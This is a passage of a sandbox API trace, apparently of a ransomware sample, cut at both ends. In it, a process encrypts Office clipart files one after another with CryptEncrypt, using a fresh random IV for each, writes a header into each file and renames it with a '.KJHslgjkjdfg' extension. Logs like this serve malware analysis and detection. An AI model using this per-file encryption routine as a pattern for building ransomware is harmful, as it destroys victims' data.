lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbde2, lpOverlapped=0x0) returned 1 [0191.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbdf0, dwBufLen=0xbdf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbdf0) returned 1 [0191.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.960] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbdf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbdf0, lpOverlapped=0x0) returned 1 [0191.960] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.960] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.960] SetEndOfFile (hFile=0x114) returned 1 [0191.963] GetProcessHeap () returned 0x2a0000 [0191.963] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.963] GetProcessHeap () returned 0x2a0000 [0191.963] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.kjhslgjkjdfg")) returned 1 [0191.965] CloseHandle (hObject=0x114) returned 1 [0191.965] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00014_.WMF", cAlternateFileName="")) returned 1 [0191.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.967] GetProcessHeap () returned 0x2a0000 [0191.967] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.967] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.967] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.967] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0191.971] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.971] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.971] GetProcessHeap () returned 0x2a0000 [0191.971] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.971] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.971] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.971] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.971] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.971] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.971] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.972] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.972] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.972] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.972] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d5e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d5e, lpOverlapped=0x0) returned 1 [0191.973] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d60, dwBufLen=0x1d60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d60) returned 1 [0191.973] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.973] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d60, lpOverlapped=0x0) returned 1 [0191.973] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.973] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.973] SetEndOfFile (hFile=0x114) returned 1 [0191.976] GetProcessHeap () returned 0x2a0000 [0191.976] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.976] GetProcessHeap () returned 0x2a0000 [0191.976] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.kjhslgjkjdfg")) returned 1 [0191.979] CloseHandle (hObject=0x114) returned 1 [0191.979] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1 [0191.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0191.980] GetProcessHeap () returned 0x2a0000 [0191.980] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0191.980] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0191.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0191.980] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.985] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.985] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.985] GetProcessHeap () returned 0x2a0000 [0191.985] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0191.985] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0191.985] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.985] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0191.985] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0191.986] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0191.986] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0191.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0191.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0191.986] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0191.986] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0191.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.986] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x243c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x243c, lpOverlapped=0x0) returned 1 [0191.993] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2440, dwBufLen=0x2440 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2440) returned 1 [0191.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.993] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2440, lpOverlapped=0x0) returned 1 [0191.993] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0191.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.993] SetEndOfFile (hFile=0x114) returned 1 [0191.996] GetProcessHeap () returned 0x2a0000 [0191.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0191.996] GetProcessHeap () returned 0x2a0000 [0191.996] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0191.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.kjhslgjkjdfg")) returned 1 [0191.998] CloseHandle (hObject=0x114) returned 1 [0191.998] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1 [0191.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.001] GetProcessHeap () returned 0x2a0000 [0192.001] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.001] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.001] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0192.004] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.004] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.004] GetProcessHeap () returned 0x2a0000 [0192.004] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.004] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.004] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.004] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.004] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.004] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.004] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.004] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.004] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.005] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.005] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.005] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.005] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x175a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x175a, lpOverlapped=0x0) returned 1 [0192.010] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760, dwBufLen=0x1760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1760) returned 1 [0192.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.010] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1760, lpOverlapped=0x0) returned 1 [0192.010] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.010] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.010] SetEndOfFile (hFile=0x114) returned 1 [0192.013] GetProcessHeap () returned 0x2a0000 [0192.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.013] GetProcessHeap () returned 0x2a0000 [0192.013] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.kjhslgjkjdfg")) returned 1 [0192.015] CloseHandle (hObject=0x114) returned 1 [0192.015] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1 [0192.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.018] GetProcessHeap () returned 0x2a0000 [0192.018] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.018] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.019] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0192.027] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.027] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.027] GetProcessHeap () returned 0x2a0000 [0192.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.027] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.027] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.027] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.027] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.027] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.027] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.028] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.028] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.028] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c12, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c12, lpOverlapped=0x0) returned 1 [0192.037] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c20, dwBufLen=0x1c20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c20) returned 1 [0192.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.037] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c20, lpOverlapped=0x0) returned 1 [0192.037] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.038] SetEndOfFile (hFile=0x114) returned 1 [0192.040] GetProcessHeap () returned 0x2a0000 [0192.040] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.040] GetProcessHeap () returned 0x2a0000 [0192.040] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.041] 